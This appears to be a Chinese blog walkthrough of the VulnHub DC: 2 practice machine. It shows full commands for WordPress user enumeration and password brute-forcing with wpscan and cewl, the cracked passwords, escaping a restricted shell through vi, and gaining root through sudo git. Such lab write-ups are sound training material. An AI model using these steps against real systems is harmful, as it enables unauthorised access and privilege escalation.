当前位置:网站首页>vulnhub DC: 2
vulnhub DC: 2
2022-06-24 19:39:00 【仙女象】
渗透思路:
nmap扫描----nikto扫描----wpscan枚举wordpress用户----cewl爬取单词----wpscan爆破wordpress密码----tom用户ssh登录并vi绕过rbash----su切换到jerry----sudo git提权
环境信息:
靶机:192.168.101.75
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.75扫描到80(http)和7744(ssh)

2、nikto扫描网站,修改hosts文件
nikto -host http://192.168.101.75
nikto扫描网站发现网站根目录重定向到http://dc-2/,结合nmap扫描结果中写在网页标题中的提示“http-title: Did not follow redirect to http://dc-2/”,先在攻击机hosts文件中增加靶机ip和dc-2的对应关系。
由于攻击机是kali,因此需要修改的是/etc/hosts
sudo vim /etc/hosts增加高亮的这条,然后保存并退出

然后浏览器访问http://dc-2/,在明晃晃的Flag页面发现明晃晃的Flag1,内容大概是要登录进网站会发现下一个flag,但是通常的密码字典是无效的,需要用cewl生成密码字典

3、wpscan枚举网站用户
登录网站首先要知道网站有哪些用户,由于靶机网站是wordpress,所以可以用wpscan进行枚举
wpscan --url http://dc-2/ -e发现三个用户:admin、jerry、tom

把这三个用户名保存在文件user.txt中,一行一个,备用

4、cewl爬取单词,wpscan爆破密码
用cewl爬取网站包含的单词,并保存到文件dc2.txt中
cewl http://dc-2/ -w dc2.txt然后用wpscan爆破网站用户名密码,用户名字典用上一步中的user.txt,密码字典用dc2.txt
wpscan --url http://dc-2/ -U user.txt -P dc2.txt得到两个结果
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

5、jerry登录wordpress发现flag2
浏览器访问http://dc-2/wp-admin/,跳转到登录页面,以用户名jerry,密码adipiscing进行登录
在Pages页面点击Flag2

发现第二个flag,这个flag提示要尝试别的入口点

6、tom用户ssh登录,vi绕过rbash
ssh只有tom能登录成功,jerry无法登录成功
ssh [email protected] -p 7744密码为步骤4中爆破出的parturient
登录成功后发现,tom是以rbash登录的,很多命令不支持

通过vi绕过rbash:
靶机shell输入vi
然后在vi的界面上输入
:set shell=/bin/bash
:shell
然后按回车,即可绕过rbash,得到bash
但是对于这个靶机来说,还是有很多命令无法执行,这是由于靶机的环境变量$PATH=/home/tom/usr/bin,而该目录下仅有小部分命令

因此,还需要修改$PATH变量值
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
先在可以用cat命令查看flag3.txt了,flag3中提示可以用su命令切换到jerry用户

7、sudo git 提权
切换到jerry,输入
su - jerry然后输入步骤4中wpscan爆破出的jerry的密码adipiscing

/home/jerry下找到flag4.txt

sudo -l发现jerry可以以root身份执行git命令,该命令可以sudo提权


首先在靶机命令行输入
sudo git -p help config然后在出现的help界面中输入
!/bin/bash即可得到root的shell

在/root目录下找到final-flag.txt

边栏推荐
- Cross border e-commerce, early entry and early benefit
- 磁盤的結構
- How to solve the problem that the computer suddenly can't connect to WiFi
- Huada 4a0gpio settings
- Stop using it indiscriminately. This is the real difference between @validated and @valid!!!
- FANUC机器人_KAREL编程入门学习(1)
- Kubevela v1.2 release: the graphical operation console velaux you want is finally here
- Annotation
- Description of transparent transmission function before master and slave of kt6368a Bluetooth chip, 2.4G frequency hopping automatic connection
- Data communication and physical network
猜你喜欢

NIO、BIO、AIO

ThreadLocal内存泄漏问题

Embedded development: tips and tricks -- clean jump from boot loader to application code

String exercise summary 2

VRRP skills topic

Online filing process

2022-06-10 工作记录--JS-获取到某一日期N天后的日期

Data center basic network platform

The usage difference between isempty and isblank is so different that so many people can't answer it

See how sparksql supports enterprise data warehouse
随机推荐
LeetCode Algorithm 剑指 Offer 52. 两个链表的第一个公共节点
Selection and comparison of message oriented middleware MQ
Structure du disque
磁盤的結構
Embedded development: tips and tricks -- clean jump from boot loader to application code
故障安全移动面板KTP900F Mobile下载程序提示无法下载,目标设备正在运行或未处于传输模式的解决办法
双亲委派机制
Heavyweight! Fada is listed as a "specialized and new" enterprise
Basic principles of layer 2 switching
Servlet details
【个人实验报告】
[personal experiment report]
Principle of IP routing
Redis hop table
Introduction to machine learning compilation course learning notes lesson 1 overview of machine learning compilation
[ingénierie logicielle] points clés à la fin de la période
In the era of full programming, should I give up this road?
开发规范~参数校验异常、异常返回提示切面
Envoy obtain the real IP address of the client
Kubevela v1.2 release: the graphical operation console velaux you want is finally here